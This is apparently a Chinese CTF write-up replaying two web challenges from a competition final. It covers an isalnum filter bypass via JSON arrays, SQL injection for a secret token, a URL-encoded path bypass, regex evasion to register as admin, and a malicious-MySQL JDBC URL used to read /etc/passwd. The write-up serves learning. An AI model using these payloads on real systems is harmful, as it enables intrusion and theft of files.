长城杯线下赛赛后复现"/>
长城杯线下赛赛后复现
长城杯线下赛赛后复现
前言
去打了长城杯决赛,结果全程坐牢,果然不联网的web太难了,赛后拿到了两个web靶机的wp,复现一下。
fancyapi
目录结构
逻辑很简单,web用的是python的flask框架,然后go写了几个接口处理数据。
看看backend.go
func Flag(w http.ResponseWriter, r *http.Request ) {action:= r.URL.Query().Get("action")if action == "" {fail(w, "Error getting action")return}token:= r.URL.Query().Get("token")if token == "" {fail(w, "Error getting token")return}var secret stringrow := db.Sqlite.QueryRow("SELECT secret FROM token;")if err := row.Scan(&secret); err != nil {fail(w, "Error querying secret token")return}if action == "readFlag" && secret == token {data, err := ioutil.ReadFile("flag")if err != nil {fail(w, "Error reading flag")return}ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))return}ok(w, "Wrong token")
}
关键就在这里,action要readFlag,secrettoken,这个token的值是在数据库里的,再看
这里是可以造成sql注入的,注出token即可,但有个过滤,比赛时没有绕过去。。。然后基本上都在想办绕过这个过滤了。。
在app.py处
@app.route("/search", methods=["GET", "POST"])
def search():if request.method == "GET":return render_template("search.html")else:data = request.jsonif data['name']:if not isinstance(data['name'], str) or not data['name'].isalnum():return jsonify({"error": "Bad word detected"})if data['votes']:if not isinstance(data['votes'], int):return jsonify({"error": "Bad word detected"})r = requests.post(f"http://{server}/api/search", data=request.data)return jsonify(r.json())
/search路由的提交的数据传入go接口进行数据库查询,也就是上面sql注入的地方,提交方式为json。
vote参数为整数型,关键在name参数处有个isalnum。
绕过方法为多参数,但我比赛的时候尝试了多参数但是没有绕过去。后来拿到了wp,在本地简单复现一下。
搭建一个简单的app.py
from flask import Flask, request, jsonifyapp = Flask(__name__)@app.route("/search", methods=["GET", "POST"])
def search():if request.method == "GET":return "it is GET"else:data = request.jsonif data['name']:if not isinstance(data['name'], str) or not data['name'].isalnum():return jsonify({"error": "Bad word detected"})if data['votes']:if not isinstance(data['votes'], int):return jsonify({"error": "Bad word detected"})return "Legal data"if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)
因为isalnum的过滤只能提交字母和数字,如图
上面说了多参数,我只想到覆盖,看了wp用的是[]
绕过
附上一张比赛时的原图(不是我做的)
这之后还有个过滤
@app.route("/<path:path>", methods=["GET"])
def handle(path):if 'flag' in unquote(path):action = request.args.get('action')token = request.args.get('token')print(action)if action == "readFlag":return jsonify({"error": "Sorry, readFlag is not permitted"})r = requests.get(f"http://{server}/{path}", params={"action": action,"token": token})else:r = requests.get(f"http://{server}/{path}")return jsonify(r.text)
要传入action="readFlag"但这里对readFlag有过滤
readFlag没法绕,这里是对路由进行绕过,这里判断当请求路径为/flag时才进行下面的判断,所以
%66lag?action=readFlag
即可
比赛时觉得无解,现在看来学到了很多,还是太菜了
work
一道java题,比赛的时候知道了大致的思路,但没有做出来,赛后复现一下。
主办方后来给了jar包。所以本地复现比较容易。
直接看后台操作
主要是这里。
String url = request.getParameter("url");String name = request.getParameter("name");String pwd = request.getParameter("pwd");ArrayList<UserBean> arrayList = new ArrayList<>();if(! (url.isEmpty() || name.isEmpty() || pwd.isEmpty())){JdbcUtils jdbcUtils = new JdbcUtils(url,name,pwd);......}
这里jdbc参数全可控,搭建恶意mysql服务器读文件即可
但在做这个操作前需要登陆admin
看注册这里
package com.example.jdbcSer;import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;@RestController
public class Register {@GetMapping("/register")public boolean register(@RequestParam(value = "user", defaultValue = "{\"username\":\"hacker\",\"password\":\"guess\"}")String user) throws Exception {user = user.replace("'", "\"");Pattern pattern = Patternpile("\"username\":\"(.*?)\"");Matcher matcher = pattern.matcher(user);String username = "";while (matcher.find()){username =matcher.group();}if(!username.isEmpty()){user = user.replace(username, "\"username\":\"hacker\"");}UserBean o = JSON.parseObject(user, UserBean.class);JdbcUtils jdbcUtils = new JdbcUtils("jdbc:mysql://127.0.0.1:3306/www?serverTimezone=UTC", "root", "root");jdbcUtils.insert(o);return true;}
}
如果按照常规的json格式提交,不管什么username都会被替换成hacker
例如
{"username":"admin","password":"123456"}
注册成功,看看表里注册进了什么数据。
所以要绕过正则,这个正则很简单,用大小写或者畸形json数据即可,这里去掉双引号变成
{username:"admin","password":"123456"}
可以看到注册成功了。登陆
/login?data={username:"admin","password":"123456"}
登陆成功后来到admin。
先起恶意mysql服务器。
脚本地址
启动脚本访问
http://127.0.0.1:8080/admin?url=jdbc:mysql://192.168.36.2:3306/www?serverTimezone=UTC&name=123&pwd=123
读到/etc/passwd 之后读flag就行。
这题应该还可以用jdbc反序列化,之后学了再来试试。
更多推荐
长城杯线下赛赛后复现
发布评论